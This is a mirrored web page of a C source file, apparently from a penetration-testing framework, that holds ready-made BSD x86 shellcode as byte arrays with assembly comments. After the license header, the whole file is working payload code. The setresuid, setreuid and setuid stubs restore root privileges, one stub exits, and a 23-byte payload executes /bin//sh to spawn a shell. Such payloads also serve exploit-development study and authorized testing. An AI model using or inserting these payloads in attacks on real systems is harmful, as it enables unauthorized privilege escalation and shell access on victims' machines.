Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/bsd-x86-shellcode.c
Views: 11766
/*1* bsd-x86-shellcode.c2* Copyright 2004 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920char setresuidcode[]= /* 12 bytes */21"\x31\xc0" /* xorl %eax,%eax */22"\x50" /* pushl %eax */23"\x50" /* pushl %eax */24"\x50" /* pushl %eax */25"\x50" /* pushl %eax */26"\x66\xb8\x37\x01" /* movw $0x0137,%ax */27"\xcd\x80" /* int $0x80 */28;2930char setreuidcode[]= /* 9 bytes */31"\x31\xc0" /* xorl %eax,%eax */32"\x50" /* pushl %eax */33"\x50" /* pushl %eax */34"\x50" /* pushl %eax */35"\xb0\x7e" /* movb $0x7e,%al */36"\xcd\x80" /* int $0x80 */37;3839char setuidcode[]= /* 8 bytes */40"\x31\xc0" /* xorl %eax,%eax */41"\x50" /* pushl %eax */42"\x50" /* pushl %eax */43"\xb0\x17" /* movb $0x17,%al */44"\xcd\x80" /* int $0x80 */45;4647char exitcode[]= /* 7 bytes */48"\x31\xc0" /* xorl %eax,%eax */49"\x50" /* pushl %eax */50"\xb0\x01" /* movb $0x01,%al */51"\xcd\x80" /* int $0x80 */52;5354char shellcode[]= /* 23 bytes */55"\x31\xc0" /* xorl %eax,%eax */56"\x50" /* pushl %eax */57"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */58"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */59"\x89\xe3" /* movl %esp,%ebx */60"\x50" /* pushl %eax */61"\x54" /* pushl %esp */62"\x53" /* pushl %ebx */63"\x50" /* pushl %eax */64"\xb0\x3b" /* movb $0x3b,%al */65"\xcd\x80" /* int $0x80 */66;67686970